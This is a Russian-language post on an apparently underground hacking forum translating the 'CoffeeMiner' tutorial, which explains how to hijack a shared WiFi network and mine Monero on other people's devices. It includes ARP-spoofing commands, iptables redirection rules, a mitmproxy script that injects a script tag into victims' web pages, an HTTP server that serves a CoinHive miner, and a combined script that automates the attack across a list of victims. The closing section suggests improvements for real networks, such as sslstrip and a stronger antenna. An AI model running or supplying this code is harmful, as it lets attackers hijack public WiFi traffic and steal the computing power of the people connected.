CoffeeMiner: Взлом WiFi для внедрения майнера криптовалюты Monero в сайты

  • На форуме работает ручное одобрение пользователей. Это значит, что, если Ваша причина регистрации не соответствует тематике форума, а также Вы используете временную почту, Ваша учётная запись будет отклонена без возможности повторной регистрации. В дальнейшем - пожизненная блокировка обоих аккаунтов за создание мультиаккаунта.
  • Мы обновили Tor зеркало до v3!
    Для входа используйте следующий url: darkv3nw2...bzad.onion/
  • Мы вновь вернули telegram чат форуму, вступайте, общайтесь, задавайте любые вопросы как администрации, так и пользователям!
    Ссылка: https://t.me/chat_dark_time

AnGel

Администратор
Команда форума

AnGel

Администратор
Команда форума
27 Авг 2015
3,411
2,025
Внимание: эта статья и проект предназначены исключительно для изучения. Все тесты были сделаны на собственных компьютерах на своей личной WIFI сети.
Несколько недель назад я прочел этот Starbucks кейс , где хакеры взломали ноутбуки через WiFiсеть для использования мощностей компьютеров для майнинга криптовалюты Monero, и мне стало любопытно: как можно сделать похожую атаку, но другим путем.
Суть данной статьи в том, чтобы объяснить, как провести атаку MITM (Man-In-The-Middle), чтобы заразить несколько javascript кода в HTML страницах для того, чтобы использовать все устройства, подключенные к сети WiFi для майнинга криптовалюты.
fcd3c8b9bf1875b64df046ed8b1b9d3b.png
Цель заключается в том, чтобы получить скрипт, который выполняет автоматическую атаку на сеть WiFi. Это и есть CoffeeMiner, так как такой тип атаки может быть выполнен в кафе, где есть WiFi.
Сценарий

Нужны несколько компьютеров, подключенных к сети WiFi, где CoffeeMiner перехватывает трафик между пользователем и роутером.
785211593c8464843e6ba2ac99047cae.png
Настройки

Настоящий сценарий – это WiFi с подключенными к нему смартфонами и ноутбуками. Мы попробовали его в реальности, и все сработало. Но для данной статьи, мы рассмотрим детальнее, как настроить виртуальное пространство.
Мы используем VirtualBox, чтобы развернуть наш виртуальный сценарий
Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!
.
Для начала, нам нужно скачать образ для Linux и установить его в VirtualBox. Для нашего примера воспользуемся Kali
Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!

После того как мы загрузили ISO, подготовим три VBox-а с установленным ISO.
Для настройки определенного сценария, нам нужно подготовить каждый VBox для своей роли:
  • Жертва — Компьютер, подключенный к роутеру, на котором просматривают какие-либо сайты в интернете
  • Хакер — Компьютер, на котором запущен CoffeeMiner. Компьютер, выполняющий MITM.
  • Router — Обычный шлюз
72ac6d26462f1d6e0fe5fb7728c1f19c.png
Когда атака выполнена, сценарий должен быть таким:
56e363d9f2477bc102c785bd85afb531.png
Чтобы выполнить настройку, необходимо провести следующее на виртуальных машинах:
Компьютер жертвы
  • network adapter:
    eth0: Host-only Adapter
Файл: /etc/network/interfaces:
[SRC]
auto lo
iface lo inet loopback
auto eth0
iface eth0 inet static
address 10.0.2.10
netmask 255.255.255.0
gateway 10.0.2.15
[/SRC]
Компьютер хакера:
  • network adapter:
    eth0: Host-only Adapter
Файл: /etc/network/interfaces:
[SRC]
auto lo
iface lo inet loopback
auto eth0
iface eth0 inet static
address 10.0.2.20
netmask 255.255.255.0
gateway 10.0.2.15
[/SRC]
Router:
  • network adapter:
    eth0: Bridged Adapter
    eth1: Host-only Adapter
Файл: /etc/network/interfaces:
[SRC]
auto lo
iface lo inet loopback
auto eth0
iface eth0 inet dhcp
auto eth1
iface eth1 inet static
address 10.0.2.15
netmask 255.255.255.0
[/SRC]
2. CoffeeMiner, понимание кода

2.1 ARPspoofing


Для начала, нам нужно разобраться, как проводить MITM атаку.
Из википедии:
«В компьютерной сети, ARP-спуфинг, отравление кэша ARP или маршрутизация ARP-яда, это техника, когда атака выполняется отправкой ARP (Address Resolution Protocol) сообщений в локальную сеть. Цель заключается в том, чтобы связать МАС адрес атакующего с IP адресом другого хоста, например, шлюз по умолчанию. Таким образом, любой трафик, направленный на определенный IP адрес отправляется атакующему.
Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!
Чтобы совершить ARP-спуфинг, нам нужно использовать библиотеку dsniff.
[SRC]
arpspoof -i interface -t ipVictim ipGateway
arpspoof -i interface -t ipGateway ipVictim
[/SRC]
2.2 mitmproxy

mitmproxy – это инструмент, который позволяет нам анализировать трафик, идущий через хоста, и дает возможность менять этот трафик. В нашем случае, мы используем его для заражения javascript в HTML страницах. Чтобы сделать дело чисто, мы внедрим только одну строку кода в страницах HTML. Это будет строка кода, которая вызывает майнер криптовалюты в javascript.
Строка, внедряющая майнер:
[SRC]<script src="http://httpserverIP:8000/script.js"></script>[/SRC]
2.3 Внедрение кода

После перехвата трафика жертвы, нам нужно ввести наш скрипт. Для этого нам понадобится API mitmproxy:
[SRC]
from bs4 import BeautifulSoup
from mitmproxy import ctx, http
import argparse
class Injector:
def __init__(self, path):
self.path = path
def response(self, flow: http.HTTPFlow) -> None:
if self.path:
html = BeautifulSoup(flow.response.content, "html.parser")
print(self.path)
print(flow.response.headers["content-type"])
if flow.response.headers["content-type"] == 'text/html':
script = html.new_tag(
"script",
src=self.path,
type='application/javascript')
html.body.insert(0, script)
flow.response.content = str(html).encode("utf8")
print("Script injected.")
def start():
parser = argparse.ArgumentParser()
parser.add_argument("path", type=str)
args = parser.parse_args()
return Injector(args.path)
[/SRC]
2.4 HTTP Сервер

Как мы видим, инъектор добавляет строку в html и вызывает наш крипто-майнер. Теперь нам нужно развернуть скрипт файл в НТТР сервере. Для поддержки криптовалютного майнера, мы развернем НТТР сервер в компьютере атакующего. Чтобы сделать это, воспользуемся библиотекой Python ‘http.server’:
[SRC]
#!/usr/bin/env python
import http.server
import socketserver
import os
PORT = 8000
web_dir = os.path.join(os.path.dirname(__file__), 'miner_script')
os.chdir(web_dir)
Handler = http.server.SimpleHTTPRequestHandler
httpd = socketserver.TCPServer(("", PORT), Handler)
print("serving at port", PORT)
httpd.serve_forever()
[/SRC]
Код выше – это простой НТТР сервер, который внесет наш крипто-майнер жертвам, когда они выполнят запрос.
Javascript майнер будет расположен в папке /miner_script. В нашем случае используется javascript
Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!
.
2.5 Крипто майнер CoinHive

CoinHive – это javascript майнер криптовалюты (XMR) Monero. Его можно добавить в сайт, чтобы он использовал мощность компьютера для подсчета хешей с алгоритмом хешей Cryptonight PoW для майнинга Monero, который строится на протоколе
Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!
. Использование данного майнера имеет смысл, если пользователь остается на сайте подольше. Так что, для вебсайта, где средняя продолжительность сессии ~40 секунд, использование CoinHive – не очень разумно.
В нашем случае, так как мы введем крипто майнер в каждую HTML страницу, которую запрашивает жертва, мы получаем длительные сессии с подсчетом кешей для майнинга Monero.
3. CoffeeMiner: соединяем все воедино

Теперь наша главная задача – связать все в автоматический процесс. Это и будет CoffeeMiner. Суть в том, чтобы получить скрипт CoffeeMiner, проводящий ARP-спуфинг атаку и настраивает mitmproxy на внедрение криптовалютного майнера CoinHive в HTML страницы жертвы.
Вопервых, нам нужно настроить ip_forwarding и IPTABLES, чтобы конвертировать компьютер атакующего (хакера) в прокси:
[SRC]
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
[/SRC]
Для выполнения ARP-спуфа для всех жертв, нам нужно приготовить файл ‘victims.txt’, с IP адресами всех жертв. Чтобы прочитать IP всех жертв, нам нужно несколько строк в Python, которые должны будут получить IP адреса (а также IP шлюза из командной строки args), и применить ARP-спуфинг для IP каждой жертвы.
[SRC]
# получаем gateway_ip
gateway = sys.argv[1]
print("gateway: " + gateway)
# Получаем IP жертв
victims = [line.rstrip('\n') for line in open("victims.txt")]
print("victims:")
print(victims)
# запускаем arpspoof для каждой жертвы, где каждый – новая консоль
for victim in victims:
os.system("xterm -e arpspoof -i eth0 -t " + victim + " " + gateway + " &")
os.system("xterm -e arpspoof -i eth0 -t " + gateway + " " + victim + " &")
[/SRC]
После выполнения ARP-спуфинга, нам всего лишь нужно запустить НТТР сервер:
[SRC]> python3 httpServer.py[/SRC]
Теперь мы можем запустить mitmproxy с injector.py:
[SRC]> mitmdump -s 'injector.py http://httpserverIP:8000/script.js'[/SRC]
3.1 CoffeeMiner, последний скрипт

Теперь мы соединяем все вышеописанное в скрипте ‘coffeeMiner.py’
[SRC]
import os
import sys
# Получаем IP роутера
gateway = sys.argv[1]
print("gateway: " + gateway)
# Получаем IP жертв
victims = [line.rstrip('\n') for line in open("victims.txt")]
print("victims:")
print(victims)
# настраиваем роутинг (IPTABLES)
os.system("echo 1 > /proc/sys/net/ipv4/ip_forward")
os.system("iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE")
os.system("iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080")
os.system("iptables -t nat -A PREROUTING -p tcp --destination-port 443 -j REDIRECT --to-port 8080")
# запускаем arpspoof для каждой жертвы, каждый – в новой консоли
for victim in victims:
os.system("xterm -e arpspoof -i eth0 -t " + victim + " " + gateway + " &")
os.system("xterm -e arpspoof -i eth0 -t " + gateway + " " + victim + " &")
# запускаем НТТР сервер для поддержки script.js в новой консоли
os.system("xterm -hold -e 'python3 httpServer.py' &")
# запускаем mitmproxy
os.system("~/.local/bin/mitmdump -s 'injector.py http://10.0.2.20:8000/script.js' -T")
[/SRC]

То же самое в скрипте ‘injector.py’:
[SRC]
from bs4 import BeautifulSoup
from mitmproxy import ctx, http
import argparse
class Injector:
def __init__(self, path):
self.path = path
def response(self, flow: http.HTTPFlow) -> None:
if self.path:
html = BeautifulSoup(flow.response.content, "html.parser")
print(self.path)
print(flow.response.headers["content-type"])
if flow.response.headers["content-type"] == 'text/html':
print(flow.response.headers["content-type"])
script = html.new_tag(
"script",
src=self.path,
type='application/javascript')
html.body.insert(0, script)
flow.response.content = str(html).encode("utf8")
print("Script injected.")
def start():
parser = argparse.ArgumentParser()
parser.add_argument("path", type=str)
args = parser.parse_args()
return Injector(args.path)
[/SRC]

Для выполнения нам нужно ввести:
[SRC]> python3 coffeeMiner.py RouterIP[/SRC]
4. Демо

Чтобы создать demo, нам нужно настроить сценарий VirtualBox, который упоминался ранее. Если мы хотим провести атаку вручную, нам понадобятся следующие терминалы:
9ffa74c855857c49a02786a48d6c2f98.png
Далее, когда ARP-спуф атака проведена, injector и НТТР сервер готовы, мы можем перейти к компьютеру жертвы и зайти на сайт. Трафик жертвы будет проходить через компьютер атакующего, и активирует injector:
0d2661f84f536179130f92e26b0f7673.png
В результате, html страницы, просматриваемые жертвой, будут содержать html строки кода, внедренные хакером.
f47561327e3d4125c51b3b82aff0ec44.gif
Демо видео

В следующих видео, мы можем увидеть весь процесс с использованием скрипта coffeeMiner.py:
VirtualBox демо

Реальный WiFi и ноутбуки

Заключение

Как мы видим, такую атаку достаточно легко выполнить. Кроме этого, процесс можно сделать автоматическим для конкретной WiFi сети. Есть еще один момент, о котором стоит подумать: в случае с реальной WiFi сетью, лучше проводить операцию, когда есть мощная WiFi антенна, чтобы лучше охватить всю зону. Суть в том, чтобы провести автономную атаку, но нам все еще нужно править файл victims.txt с IP адресами жертв. Для будущей версии можно будет добавить сканер nmap, чтобы добавить IP адреса, обнаруженные в списке жертв CoffeeMiner. Еще одна дополнительная функция, которая может сделать операцию более эффективной, это добавить sslstrip, чтобы убедиться в том, что внедрение прошло и на те сайты, которые пользователь может запросить через HTTPS.
 

О нас

  • Наше сообщество существует уже много лет и гордится тем, что предлагает непредвзятое, критическое обсуждение различных тем среди людей разных слоев общества. Мы работаем каждый день, чтобы убедиться, что наше сообщество является одним из лучших.

    Dark-Time 2015 - 2022

    При поддержке: XenForo.Info

Быстрая навигация

Меню пользователя